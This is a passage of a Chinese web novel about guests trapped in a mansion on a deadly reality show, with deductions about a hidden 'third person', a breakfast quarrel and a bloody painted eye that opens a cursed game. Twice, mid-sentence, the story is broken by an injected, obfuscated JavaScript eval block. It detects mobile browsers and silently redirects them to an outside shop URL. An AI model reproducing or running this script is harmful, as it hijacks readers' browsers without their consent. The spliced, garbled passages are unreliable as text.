常真一面朝旋转门的方向低垂着头,刘海挡住眼睛,露出线条分明的下巴和薄唇,面无表情仿佛一座不会化的冰山。察觉到童无垠,他略侧仰起头,分给她一个晦暗深沉的眼神。 微微启唇,语调平平:“你跑这么快做什么?” 童无垠挪动脚步,走到旋转门边上,靠着墙,耐不住肺腑中的氧意,轻咳了几声道:“饿了,想去那边吃点。” 常真一听了这,嘴角动了动似乎有话想说,童无垠发觉这点,沉吟道:“怎么了?是那些吃的……出事了?” “……你怎么不问我身上的血是怎么回事?” “嗯,那你身上的血是怎么回事?” 常真一轻笑,不过唇角只扬起了个几不可查的弧度,就再度归于平静:“我刚刚从大厅回来,餐桌上的所有东西,包括餐具都被人清空了。” 童无垠一怔:“清空了?谁会做这种事……” 常真一:“我不知道,但,这个人不是我们中的任何一个,也不是追梦人。是未知的‘第三人’。” 他转回头,不再看向童无垠,但却抬起手拉住她的手腕,将她朝自己拉近。 他的手指冰凉,童无垠低头看去,那只手上干干净净,没有半点血迹——他没用刚刚摸过脸上血迹的手来拉她。 常真一将她拉近,童无垠没觉得是有什么企图,今天两人也算是建立了初步的合作关系,这点信任还是有的。因此她没有挣扎反抗,而是静候下一步。 常真一对于她的配合好像有些意外,扭头看了她一眼,接着拉着她的手放到旋转门上,对她道:“试试推下门。” 童无垠照做,门死死地钉在原地,她改用双手推门,也难以推出哪怕一毫米的距离。 “这是,又锁上了?为什么…….?”童无垠看向常真一,语气笃定:“你知道为什么。” 常真一点了点头:“有点猜测。我和‘第三人’过了几招,他被我刺伤后就朝旋转门这边逃跑,我不愿让他来到廊道这边,于是追了出来,但,出来后没看到人影、地上也没有血迹。” “被他摆了一道。‘第三人’很狡猾,他没有过来这边,应该是藏在了大厅里的旋转门边上,等我过来后,就控制机关,将旋转门锁上了。” 信息量巨大,但童无垠就是个强大的“逻辑信息处理器”,哪怕是在有饥饿缺氧debuff的“加持”下,也依然立刻抓住了关键点。 她皱起眉头——自在此醒来后就没怎么松开过,语气沉沉地分析:“首先,这个‘第三人’能和你过好几招,说明格斗能力很强;其次,餐食如果是他回收的,结合他拥有控制旋转门机关权限这一点来看,他很可能是‘官方派遣’的人员,跟追梦人是一伙的。” “再者,他摆脱你的方法,大概率不仅仅是用门将你隔开,留在大厅也是关键。你还记得那个我们没能打开的大门吗,我怀疑他可以自由的地从大门出入……” “最后一点。”童无垠抱胸,全身重量都压在一边胳膊上靠着墙,上下打量常真一:“你是用什么刺伤‘第三人’的?他敢和你近身搏斗,估计就是算准了我们这群人才醒来,身上没有武器。” 常真一也回头打量她,这次,唇角真的扬起了个明显的弧度没有消退,他笑起来的时候仿佛寒潭化冻,少年气十足:“飞镖,你忘了吗?” “那三次机关触发的飞镖,我都收起来了。” “……哈哈哈,真有你的!”童无心头仿佛被什么撞了一下,突然有些畅快。 捅得好!捅的就是你追梦人的同伙!也算是出了口恶气! 但高昂的情绪,来得快也去得快。 因为这件事揭露了一个残酷的事实:他们要面对的敌人,可能数量远超想象。 有这个“第三人”,就不排除还有第四第五人存在于暗处,虎视眈眈。 况且“第三人”暴露的事情,应该不在追梦人预期计划之内,他会如何反应? 明天,麻烦了啊。 16. 悲剧前奏(一) 童无垠将灯熄了,缓缓躺上床。 夜里静谧,廊道外仍亮着灯。 微弱光芒从门缝下钻进来,某种意义上有点像盏小夜灯,驱散了被黑暗团团包围时,可能会有的恐惧。 童无垠已设定好早上八点的闹钟,躺在床上酝酿睡意。 枕头和床垫出乎意料的舒适,蓬松得如同云朵,抑或是柔软的棉团,整个人被包裹其中,仿佛坠入全方位的温暖堡垒,就算是童无垠,也不免贪恋这欺骗直觉的安全感——谁都知道被窝不是真的堡垒,抵抗不了任何外在威胁,但在这般不安的环境中,片刻安心又是那么难能可贵。 至少能让人一觉好眠。 耳边闹钟秒针一刻不停、稳步走动,发出“滴、答、滴、答、滴”的声音。 富有规律的节奏,再加上疲惫,童无垠没怎么酝酿就很快进入深眠。 平躺在被窝里,呼吸有规律地起伏,身体盖着被子,雪白的颜色,映着她眉心微皱的清美容颜。漫漫长夜,万物仿佛都陷入深沉梦境,早先历经的惊魂恐惧好似一场梦,那么不真实。 不论昨日的苦与累,今夜必将来临,第二日的朝阳也会照旧升起——除了他们看不到月升日落这一点以外。 秒针与分针转了一圈又一圈,连带着时针也在夜的流逝里,向前缓缓挪动了几步。 但本该一觉天明的酣梦,终归因为昨日的滴水未进而泡了汤。 童无垠不光忘记吃饭,连喝水也忘了。 她梦到自己的喉咙被细火慢灼,那火越烧越旺,知道空气中的水分被蒸干,难耐的干燥让呼吸变得难以为继、有如缓刑…… 童无垠从睡梦中惊醒,只觉口中干涩,使劲咽喉咙却挤不出一丝水分。 迷迷糊糊间双眼半睁,脑袋昏沉。 手向枕边摸去,摸了个空。 这才反应过来:这儿不是她的卧室,床头柜上也没有总会备上的一杯水,只有空空如也。 等等,那是什么......? 意识尚未完全清醒的她,本能将视线划过房间门口,那是黑暗中唯一的光源。 门缝下,有光透进来,然而那光却是残缺的,童无垠的目光渐渐聚焦。 竟发现有一双脚站在她门外。 那双脚严严实实地将部分光遮住,说明脚的主人站得极近,近到……从影子的大小来看,几乎是紧贴着门。 她的心跳猛地漏了一拍。 门上没有开猫眼,这人不可能是贴着门在往里看。 那就是在听?趴在她的门上,听她的动静…… 童无垠极快地瞅了一眼时间,此时正是凌晨三点。 她下意识屏住呼吸,保持着睡觉的姿势一动不动——如果脚的主人真的耳朵贴着门在偷听,那她的动静稍大就会让那人发现她醒了。 直觉让她不想惊动那人。 这个点大家都睡觉了,偷听能听到什么?有什么收益? 正分析着,那双脚的黑影动了,向着左边方向离开了。 陡然放松,童无垠这才发现自己一直没有呼吸,眼前一片模糊眩晕,忙大口大口地吸入空气,肺腑的运作才终于重回正轨。 这人,不知在门前停了多久。如果并不久,那就可能不是只听她一人墙角,从动向来看,不会是又去了隔壁,打算一间一间地听过去吧? 如果这时候开门出去看,也许就直接谜底揭晓,看到此人的庐山真面目。 但,童无垠忍不住自嘲。 她有自知之明,自己身手不佳,就会点三拳两爪,如果脚的主人是常真一在大厅遇到过的、过手好几招的那人。 那开门出去就纯属白给。 待看清脸,命也得交代了。 这事明天得告诉常真一,看有没有合作抓人的机会——如果这听门人再出现,只有他出去才保险;或者,还有更好、更安全,不用任何人以身犯险做目击证人的方法…… 思绪一开始还在脑海中翻滚,但越滚越慢,很快便如同无风的海面,逐渐平静,无波无澜——疲倦卷土重来,将童无垠裹挟着坠入无意识的旋涡。 硬扛着饥饿与干渴,她又睡着了。 …… 早上8点15分,旋转门半开着,有人已经候在大厅了。 大厅里没有窗户,哪怕此时是早晨也没有自然日光能照进来,但此时厅内并非一片漆黑。 目之所及的所有照明设备,昨天开过、没开过的,此时竟都被拧到最亮,满室通明。而有些悬在房梁上的挂灯,位置刁钻,离地少说有四五米,也是照开不误。 童无垠思忖,灯不是嘉宾们开的,他们就算要开,也只会找方便够着的那几个,拧亮了能看清环境就行。因此灯应是追梦人开的,他必然有控制开关,一反常态地在“亮度”上下功夫。 也许是想让他们更有白天的代入感? 不光是灯光,餐桌上的吃食也得到了“重置”。 中央的长条餐桌上重新摆满了食物,每个座位前都有一份相同的早餐:三明治夹鸡蛋培根、一碗白粥佐小碟砂糖及盐腌萝卜、小份清炒时蔬、以及一杯清水。 粥的配料同时满足了甜咸口两种需求,任谁看了,都得喊一声“贴心”。 大厅里,加上童无垠,一共到了七个人。 莎露和庞洪还没来。 童无垠心想,也不知这旋转门是几点解的锁,这么多人都提前到,是否有人碰上解锁,知道这是几点发生的。 正想着,就见常真一站在旋转门侧,视线紧盯地面,似乎在寻找些什么。 跟着看了眼地面:整块青石板铺就,有些坑洞划痕等岁月痕迹,但大致与昨日无异。 是在看昨日那人是否有留下些什么吗? 童无垠向着常真一走近,这话也问出了口。 常真一早就发觉她来了,闻言低低“嗯”了一声,接着弯腰,手指在地上一处细微的划痕上轻轻蹭了蹭。 虽然少到几乎看不清,但手指上的的确确沾染上了一丝红色。 童无垠反应过来:“是血迹?那个‘第三人’受了伤,他留下的?” 常真一搓了搓手指,放在鼻前轻嗅,闻到清浅的血腥味:“是血,他受伤后,应是刻意清洗过地面。” 所以才会一眼看去,找不到半点昨日打斗的迹象。 童无垠沉思:“做这么周到,还清洗……‘第三人’被你发现,他的存在就等于已经明牌,所有嘉宾都会知道,他必然明白这点。清洗大概率不是为了掩盖自己的存在,而是别的什么……” 常真一想了想:“可能是不想暴露动向,从血液滴落的轨迹当中,往往可以看出很多东西,比如出血量、行动速度、移动路线。” 但他还是觉得有哪里说不通。 童无垠脑海里飞速地划过一个念头——会不会,清洗其实就是为了掩盖存在,以及昨日发生过的事情。 区别在于,「隐瞒的目标人群」不是他们这几个嘉宾,而是另有其人? 童无垠心里没个准数,因此这个猜测并未诉之于口,想起昨夜的“听门人”,她向常真一简述了事情经过。 两人约好晚上再细说。 …… 还有十分钟就到约定的九点。 庞洪和莎露没有迟到,一前一后踏进大厅。 庞洪睡眼惺忪,眼角还挂着眼屎,头发也没有洗,一头黄发有些出油地揪成一缕一缕的,老远看去就像个反光的黄色海胆。 莎露跟他保持着几步距离,低垂着头,沉默且安静,直奔大厅中央的餐桌,寻了个位置坐下,期间没跟任何人打招呼。 眼见时间差不多了,其余众人也纷纷入座,准备开始吃早餐。 童无垠还是坐回了一开始醒来时的位置,发现大家显然都很饿,但无人率先动筷,尤其是林志德、莎露和高清如三人,显得尤为犹豫不决——筷子拿了又放,来回折腾了数次。 童无垠没有表现出来,但其实心里十分不适:让他们参与危险的游戏,同时却又特意准备了饭食,并且还营养均衡,怎么看怎么割裂。 恍惚之间,有种他们像是好吃好喝被照料着的牲畜,只待长得肥肥胖胖,就好亮屠刀割肉了…… 莎露阴沉着面庞,她依旧遮着脸,不过换上了一块更为柔软的布料,布料上方仅露出一双眼睛。她周身散发着低沉灰暗的情绪,这些情绪强烈到仅从双眼之中便能轻而易举地察觉。 突然有人肚子发出“咕——”的一声,响亮又清晰,让人想装听不见都难。 是莎露肚子发出的声响,童无垠记得她昨天也没有吃任何东西,此时饿了肚子叫很正常。但莎露自己可能不这么觉得,她深吸了口气,遮住脸看不清具体的神情,只是下一刻,她突然出声质问率先抓起三明治开吃的庞洪,语气生硬: “你是真不怕有毒。” 庞洪嘴里塞的鼓鼓囊囊,吃正香,莎露这一声差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703666|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他噎住,他抓过自己的的杯子,将水一饮而尽,反问:“不然呢?就像你一样饿着肚子,死也不吃,然后真的死掉吗?!” “喂你!说话别太不客气了!”莎露情绪突然激动,抄起手起一个物件就作势要朝庞洪丢过去。 庞洪吓了一跳,显然没有料到自己阴阳怪气几句,莎露的反应会这么大,他眼睁睁看着莎露的手臂高举,匆忙掩面护住自己。 物件没有扔出去,高清如抓住她手臂,堪堪拦了下来:“莎露,算了算了……” 感受到手掌下传来挣扎的力道,高清如力气远不如莎露,眼看下一刻就要被甩开,她赶忙凑近莎露耳边:“饭应该没问题!我看庞洪已经吃了半个三明治,都没有事,咱们也吃吧……” 莎露松了力道,放下高抬的手臂,高清如见状松了口气。 未曾想到,下一刻,她的手竟被莎露狠狠地一巴掌挥开。只听“啪”得一声,皮肉相接发出的闷响,犹如一道惊雷在众人耳畔炸响,将所有人都骇得停下了进食的动作。 ……好姐妹闹掰了? 高清如不可置信,猛地扭脸看向莎露——她甚至连头也未转过来,无半分眼神,更无表达歉意的意思。 眼眶里涌上屈辱的泪光,高清如等了半响,没有等到莎露的解释,不由自嘲一笑:“你这是嫌我烦吗?” 她举止优雅地用指腹拭去眼角湿意,再抬头已收了笑,扭过头不再看向莎露:“说实话我理解你,脸受了伤心里一定不好过,这不是你的错……但,我也不是什么很贱的人!我自问待你无愧良心,你受伤后一直想办法照顾你,如果真嫌我烦,可以告诉我,而不是当众给我一巴掌!我不欠你的!” 高清如的话就好像是空气,莎露并未因此产生任何反应。 她坐在位置上一语不发,眼中既冷且暗,自顾自抓起三明治塞进嘴里,快速吞咽。 餐桌上众人都没缓过神来,面面相觑,无人出声,场面陷入尴尬的静默。童无垠看着莎露的状态,心中感到悲伤与嗟叹——突然被毁容,对任何一个人来说都是难以接受的噩耗,正常首先要接受正规治疗,接着做心理疏导,但莎露什么都没有。 她被关在古宅,身边只有八个认识短短一天的陌生人,痛苦让她控制不住地流露出攻击性。 也推开了对她最有善意的那个人。 文自宇跟两个女生关系也还可以,因此率先打破沉默,低声劝慰:“嘿,莎露,喝口水冷静下......” 结果话没说完,就被无情打断。 莎露冷冷吐出几个字:“别烦我。” 文自宇愣住,继而脸颊涨得通红,嘴角勉强扯出一个难看的弧度:“呵呵……好,好吧。” 场面更尴尬了。 众人埋头干饭,但都心知肚明:莎露若无人帮她疏导,以这个状态继续下去,必然出事。 但见文自宇碰壁,大家也不乐意自找没趣、上前讨打,毕竟,说得现实点,他们昨天还只是陌生人。 餐桌上一时只剩咀嚼声。 童无垠往白粥里加了砂糖,粥还温热,勺子搅和搅和,砂糖很快就化成糖水,融入粥里。她舀起一勺放入口中,甜意微微驱散了些她心头的沉重。 她突然想起件事:“机关对对碰,摧毁两个机关的奖励,追梦人怎么好像没有提起?” 庞洪闻言激动接话:“对啊对啊!我昨天就好奇想问了,但……”三角眼有些猥琐地左顾右盼,他搓手,“这不是昨天夹着尾巴做人,不敢提,怕提了你们也不想分享奖励内容嘛……” 林安宁放下手中筷子,拿起餐巾擦了擦嘴,对着庞洪“啧”了一声:“人家问的不是’奖励‘是什么,是在问’奖励结算和发放‘这件事,为什么根本没有执行。” “哈?”庞洪傻眼,“感情你们成功破坏两个机关的人,奖励都还没有拿到?” 林安宁点头,将散落的短发捋到耳后,表情有点不爽:“不知道你们还有谁也摧毁了两个机关,反正我是做到了,但,没有收到功能卡。” “我都怀疑,追梦人是不是忘了这事了……” 张木因为昏迷错过了许多,自然是无缘奖励,但不妨碍他好奇地加入讨论:“不可能会忘吧,追梦人是不是有什么设计?比如这个奖励要第二日游戏前发放之类的?” 常真一头靠在椅背里,清凌凌地道:“不排除追梦人是忘记了。” “昨天,他还犯了另一个错。” 17. 悲剧前奏(二) 另一个错? 张木疑惑皱眉,除了不知为何关卡奖励没发,追梦人还有犯什么错吗?他怎么一点没察觉? 绞尽脑汁回忆昨天发生的一幕幕,奈何实在想不出来,只得作罢向常真一追问:“他还犯了另一个错?那你说说……具体是指什么?” 常真一坐起身子,目光落在面前的三明治上——里面的鸡蛋全都被他挑了出来,两片面包里夹着的东西,只剩下几片孤零零的培根。 视线在那被自己无情夹出的鸡蛋上短暂停留了片刻,而后移开,对上了张木那藏在金属眼镜之后的双眼——那双眼眸中半带着疑问,半带着打量,仿佛在打量评估着什么。 常真一没有吊别人胃口的习惯,直接了当,三两句将在大厅中遇到神秘“第三人”的事简略对在座众人说了,着重提及回廊道后,旋转门被锁上一事。 张木闻言眼中疑惑更盛,他觉得自己的疑问并未得到解答—— 门被锁上,这个很好理解:因为“第三人”不想常真一再返回大厅妨碍他。 可是所以呢?这跟追梦人犯错有什么关系? 不免产生了些别的情绪。 他想,说实话,他早就对话题的中心总是围绕着两个年轻小辈展开颇有微词。一个名字怪里怪气的女孩子,还有现在这个标签身份打问号的年轻男人常真一,他发现每当他们开口,其他人都会认真听,好像他们说什么都有道理似的,都下意识按照他们的说法去做。 真就不明白了。 论年龄,除了他,就只有林志德和林安宁跟他算是同龄人,都三十好几四十来岁,而他们是所有人当中最年长的,按理谈话主导权应由年长者所有,对吧?论资历呢,他是事业有成的医药博士,社会经验丰富且饱有学识,一贯受人尊敬。 本以为自己就算昏迷、错过了些东西,但凭经验阅历也能自然而然地拿到九人中的话语主导权,带领大家克服困难、寻找破局的方向。 ……可现实却完全没有按他预期的发展! 他提出的想法,一再被否定! 先是昨晚,关于「没收到邀请函的人可能是无辜被牵连」的说法,就被眼前这个年轻人质疑了;再就是现在,他认为追梦人「不可能犯忘事的低级错误」,好家伙,又被他给打了岔! 反正简单来说,张木心里不平衡了。 他自觉自己没有在常真一说追梦人犯错时,就直接反驳,已属于耐着性子、好脾气了。现在听他说什么“第三人”——这件事本身值得重视——但跟追梦人“犯错”有什么关系?! 是时候终止这场年轻人的闹剧了。 张木摘下眼镜,将其拿在手里用衬衣一角细细擦拭,嘴角微勾,发出冷笑,用居高临下的语气打断常真一的未竟之言:“年轻人,说话之前,麻烦先搞清楚「论点」是什么后再提供「论述」。你在大厅遇到神秘人,这事确实奇怪不假,但,它和「追梦人犯错」这个论点无关。” 他下定论:“你偏题了。” 这番话相当不客气,甚至有点说教意味。 短短一顿早饭还没吃几口,就接连爆发两场剑拔弩张、争锋相对的场面,庞洪在一边缩着脑袋,心中暗自感慨:这顿饭吃得也太难受了。 不过这次与他无关,他嗦了口粥,暗搓搓地瞟瞟张木,又瞅瞅常真一,心里有点久违的吃瓜兴奋感。 张木原本以为常真一会因他的那番话而感到尴尬难堪,即便不至于如此,至少也会呈现出支支吾吾、绞尽脑汁想办法辩解的姿态。毕竟,因他的话语而进行自证的行为,实际上就是被他的话语所引导的结果。 倘若常真一真的这么做了,那便正合他的心意。 但常真一没有这么做。 他左手支颚,右手拿起那片只有培根的三明治轻轻咬了一口,似对味道很满意,还微微点了点,一副全没将张木的话放在心上的样子。 下一秒再开口,声音清冽如泉,语调松弛,说出的话却相当毒辣、不留情面:“那些对着摆在面前的「论据」都想不明白的人,就别急于开口发言了,老老实实等着,听已经想明白的人把话说完,乖乖跟着走就好。” “就像等着别人往嘴里“喂饭”一样。” 闻言,张木擦眼镜的动作一顿,花了一秒才反应过来常真一话中意思,气得脖子上青筋暴起,怒而捶桌:“你怎么说话的?还有没有素质了你?” 他没想到常真一看着清清冷冷一个人,说话能不客气成这样,“说谁需要人‘喂饭’呢?!是你偏题,还说我想不明白!” 常真一打断张木,一如张木之前打断他那样:“追梦人犯的错,就是让我在凌晨进入了大厅。” “‘第三人’有锁门权限,且他当时收走了餐桌上的东西,现在看来就是为准备第二日早餐,因此他大概率是追梦人的‘后勤人手’。” “后勤要忙,那提前锁门、不让任何嘉宾在此期间进入大厅,不是更合理吗?追梦人为什么不这么做?” 张木条件反射之下就要回答:那可能他疏忽了。 等等,张木喉间一梗,庆幸这话还好没有说出口,真说出去了,脸往哪里放?着不约等于承认“追梦人犯错”了吗…… 张木握紧了拳,一时语塞。 林安宁丝毫没有顾忌张木想法的意思,无视他铁青脸色,因常真一的话而陷入思考:“你说的有道理,追梦人锁上门就不会让你有机会遇上‘第三人’,那人也就不会被刺伤。而且,如果不是你现在提起,我完全不知道门曾经锁上过。” 她抬头。 正上方房梁处,静静悬挂着一盏圆圆小灯,柔和明亮的光透过它外圈那层精致玻璃罩,散出的光晕笼罩了整张餐桌的范围。 林安宁就这么定定看着灯光:“我应该是第一个到大厅的,那时候是七点,旋转门关着,但一推就开,并没有锁上。” “一进大厅就看到这些灯全部亮着……实不相瞒,‘谁开的灯’这事儿困扰了我好一阵,但既然有‘第三人’,也就都解释得通了。” 童无垠喝完最后一勺白粥,就事论事,她也更倾向于常真一的观点:“追梦人既要监控我们的动向,又要安排游戏和控场,关注的事很多。若想滴水不漏、什么错也不犯,这对任何一个人都是挑战。” 说到这,她若有所思:“一个人拥有的权力可以使人忌惮恐惧,但人并非权力本身,脱离权力的光环他也只是个普通人。也许,逃离古宅的机会就藏在这些潜在的’纰漏‘里……” …… 偌大餐桌上,九个人各自埋头解决早餐。 气氛倒没有因为两场“不愉快”而变得异常沉重或压抑,但谈话还是不可避免少了很多,开口也多是讨论关于在真人秀生存下去、这类关乎性命的“正事”。 无人有心闲聊。 高清如解决完自己面前的食物,在餐桌前无事可做,不免有些坐立不安。 虽然并不想,但她跟莎露算是闹掰了。 心中惴惴不安,目光游移不定,手里不断拨弄着粥碗里的勺子——今天的游戏不知道是什么内容,是否涉及体能或身体素质这方面,本来这方面还能靠着莎露,现下却…… 她心中升起悔意:是不是不该同她翻脸的? 可现在说什么都晚了。 除了失去莎露这个依靠外,高清如心里还有一层隐忧—— 她的每日任务。 昨晚自行放置任务卡的时候,大家注意力都放在林志德身上——他的任务由追梦人分配,众人自然要多加关注。因而似乎无人注意到她。 其实她的任务才是所有人中最特殊的,是「非公开任务」。别人不论任务容易完成与否,至少内容是明明白白、摊开来的。 可她呢?简直就像在开盲盒,还是个到现在都没开的盲盒!未知才是恐惧的来源,不知道自己即将面对什么,最折磨人。 况且,什么任务需要瞒着人? 若是被其他人注意到她任务的特质,保不准就要怀疑、防备她…… 不待忧虑的思绪继续发散。 时间来到早上九点钟整,不远处墙上的挂钟发出清脆激鸣。 追梦人定下的集合时间如期而至。 连同他的大嗓门一起。 “咳咳!早上好呀~~!” 幕布上投影骤然亮起,追梦人泛着油光的脸盘子出现在幕布之上,几乎占满了整个屏幕的空间。 他换了一身衣服,手里端着个小巧的茶杯,杯壁上画着一个大大的红色爱心,杯子里是冒着热气的现泡红茶。 他将茶杯举到嘴边,对着杯沿吹了吹,大大嗦了满口,一脸享受,喟叹道:“你们之前在讨论什么呢?好像很‘刺激‘啊?继续呗,让我也现场听听。” 童无垠把最后一口三明治吃完,闻言撩起眼皮看了追梦人一眼,这话说得,好像不告诉他,他就不知道刚刚都讲了些什么似的。 还有“刺激”这词。追梦人也许没有意识到,这个用词暴露出:他自己也觉得,众人的分析有超出他掌控的趋势。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723774|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 换句话说,无论猜测得准确与否,当听到有人说他“疑似犯错”的时候,他下意识的反应必定是感到「可笑」,而非「心里一惊」。并且,“可笑”这种情绪,一般不会让人想用“刺激”这个词来形容。 投影画面一闪,追梦人远离了镜头,他后退几步,坐进入镜一隅的沙发椅里,茶杯放到手侧桌几上,双手抱胸:“那个「机关对对碰」的奖励,我没有忘,你们着急个屁嘞!我像是会忘的人吗?!” 童无垠隐约听见有人在身边发出声冷冷的嗤笑。 她目光直视屏幕,不用扭头就知道是张木发出的声音——可能是觉得追梦人的说辞打了他们的脸,扬眉吐气,必须制造点动静才爽快。 可童无垠根本不信追梦人的,他说自己没忘就没忘?人,是会撒谎的…… 追梦人猛地用力甩了一下头,似乎想要营造出一个发丝飘逸飞扬的酷帅造型。可惜他虽换了衣服,头却依旧没清洗,发缕油腻腻地紧贴着头皮,这一下根本未能甩动,与他原本期望的效果相差甚远。 他本人没看到这滑稽一幕,因而自我感觉良好,仰头“拽拽”地伸出一只手,指向屏幕: “共十个机关,你们发现了七个。其中达到领奖条件的,只有两人。就你,短发老女人,还有那个……长得跟我差不多帅的小伙。” ……啊? 槽多无口…… 短发、女人……是林安宁没错了,在场女性中只有她是短发;至于跟追梦人一样帅的,不会说的是…… 童无垠缓缓扭头。 好吧。 她已经看到了常真一的表情:面容平静得如同无风的湖面,似一丝波澜也无,嘴角微微抿着,没有上扬的弧度,也没有下撇的不悦,但细看,还是能发现嘴角有些僵硬,隐隐约约透露着一种深深的无语。 嗯,错不了,和追梦人差不多帅的小伙,说的就是他...... 强忍住笑意。 话说回来,看来最后十几分钟,分头搜索的时间里,常真一又找到了第二个机关。童无垠印象里,常真一只破坏过那个飞镖机关。 也合理,毕竟自己在那个期间,也找到了一个机关——可叹也就只找到了那一个,还是拿不到奖励。 “沙沙——”、““沙沙——”。 接连两道纸张打印的声音。 林志德的嘴里猛地发出一声“嚯”的惊呼。那“沙沙”两声,瞬间唤醒了此前任务卡从接驳环里打印出来时,给他带来的惊吓与阴影。 天可怜见,从余光粗粗看去,真的很难不将脖子上冒出来的东西幻视成:人被割喉时,血从喉头喷溅而出的弧度。 林志德虽人到中年,但他紧跟潮流,此时脑海里就浮现出年轻人常用的那两字,他觉得契合极了,形容此情此景正合适—— 鬼畜! 那头,林安宁和常真一收起打印完毕的功能卡。 众人很知情识趣,也没有提及让他们分享的话。庞洪倒是神色挣扎,微微张着嘴,似乎想要说些什么,但估计也知道自己目前人缘不佳,开口没人搭理他更尴尬,于是也默默闭上了嘴。 追梦人眼珠子转来转去,饶有兴致地品味着嘉宾之间的暗流涌动。 连品了好几口茶,他才慢悠悠开口:“好啦,我还得表扬你们,今天没有人迟到,非常好!有组织有纪律,我很满意。” 接着语气变得高昂,双手高举过头顶,大声宣布: “那么,就要开始万众期待、激动人心、一不小心就会死掉的——第二日游戏啦!” “铛铛!请你们看——” 位于大厅左手边、西北角的红色厚重绸布帘子自动拉开,露出其后深青色的朽烂石墙。 不过此刻无人在意石墙本身。 所有人,都不约而同地看向了墙上画着一样东西: 那是一只巨大的眼睛。 眼瞳中,红色的血丝如细密的蛛网般纵横交错,殷红的血液从眼睛各处流淌而出,如同蜿蜒的小溪,缓缓顺着墙壁流下,在青色的破旧墙面上留下了触目惊心的痕迹。 除了血液,那只眼的眼角处,还欲坠不坠地悬着一滴晶莹泪水。 这只眼睛仿佛有生命一般,直直地凝视着每一个人,令人不寒而栗。 童无垠起身朝「眼睛」走去。 待能看清了,发现眼睛本身与那滴泪水都是画上去的,但鲜血不是,那血映着灯光,泛动着暗淡的光泽,湿漉漉、粘腻腻。 是真的血。 18. 悲剧前奏(三) 众人沉默不语,心中阵阵发怵。 他们全然不知追梦人展示一只流血的巨大眼睛,究竟意味为何。 要吓他们吗? 还是说,这眼睛与今日的游戏有关? 童无垠站得很近,扑鼻而来的血腥气浓郁而刺鼻。视觉与嗅觉的双重冲击,使得她不得不直观地去体会面前眼中所蕴含的情感,那是一种极度的悲伤与痛苦——仿佛深沉的黑暗将人紧紧包裹,让人不自觉受影响、深陷其中。 追梦人揣着手,一副振奋模样,指挥仍坐在餐桌前的其余人:“你们别离那么远,都凑近点去看呀!” 众人闻言,一前一后地朝着那眼睛靠近。唯独高清如步伐拖沓地落在队尾,似是对那眼睛心怀恐惧,不愿站在靠前的位置。 待所有人在这幅鲜血绘像前站定,追梦人暗搓搓激动道:“你们,发现了没?” 发现什么?童无垠蹙眉,视线细细打量过画像的每一寸。 眼睛的图案是由喷漆绘制而成,喷漆只有薄薄的一层,用色也极为简单:眼眶与眼珠采用黑色,眼白及那滴泪用到了些许白色,眼中血丝则是由鲜红涂料勾勒。 除了绘制的东西本身有些惊悚之外,好像并没有其他值得特别留意的地方。 目光忽然一顿,童无垠在流淌而下的鲜血中,发现了一处不协调的地方。 有某个东西混杂在了里面。 血浆的裹覆之下,有条微微凸起的细长形状,若不是因追梦人“提醒”而刻意寻找,极难发现。 没有直接上手去拿,童无垠虚虚指向凸起的位置:“有东西在血里。” “哈哈,没错!”追梦人在沙发椅里寻了个舒适姿势,翘着二郎腿。 他嘴角上扬的弧度显得有些夸张,露出一口参差不齐的牙齿,笑得不怀好意:“单纯玩游戏,难免有些枯燥,我想节目的观众们也不会喜欢的,大家嘛,都喜欢看点「不一样」的。” “所以我想出来一个天才设计!今日的游戏,每个人都会受到「亡者的诅咒」,在背负诅咒的情况下进行游戏。而诅咒效果,即:剥夺一部分你们与生俱来的‘功能’。” 诅咒,剥夺……“功能”? 童无垠面上仍保持镇定,丝毫没有露出怯懦之态,但在心里,若说一点儿恐惧都没有那是绝不可能的。 追梦人说的,是她理解的那个意思吗? 一个人与生俱来的“功能”,无外乎就那几样:身体四肢、器官、思维、五感、行动、表达…… 他说要剥夺,又是怎么个剥夺法子? 以行动为例,若是要剥夺这个,别是不让人走路,就直接把双腿砍掉的程度吧? 她只觉嗓子发紧得厉害,手心也不断冒出冷汗。她心里清楚,如果追梦人真的提出这样的要求,他们根本没有说“不”的资格。脖子上的接驳环以及那隐而未发的毒针,无时无刻不在提醒着:胆敢反抗,等待他们的便是直接了当的生命终结。 追梦人牢牢掌握着生杀大权,他们的命运全然在他一念之间,这种无力感如同沉重的枷锁,压得人喘不过气来。 人为刀俎,我为鱼肉。 手指深深掐入掌心,得先想办法接解除接驳环的威胁,但要研究这件事,得先找到监控死角,不能在追梦人眼皮子底下…… 对着众人如同打翻调色盘般无比难看的脸色,追梦人先是尽情欣赏了个够,接着又开始感到不耐烦,连连催促: “行了行了,别怕成这副样子!”他朝童无垠的方向努了努嘴,“就像那个谁说的……这才第二天,把你们玩坏了对节目后续不利,所以诅咒效果不像你们脑补得那么残暴哈!” 眼珠一转,又“桀桀”坏笑着补充:“至少目前是不会啦……快去把血浆里的东西,掏出来看看?” 嘉宾们一个个都木在原地,无人有丝毫动作。 追梦人脸色顷刻间急转直下,眼见着就要发怒。 再多的纠结也无法扭转眼下的局势,童无垠深吸了口气,缓缓上前,伸出手指探入血浆之中。 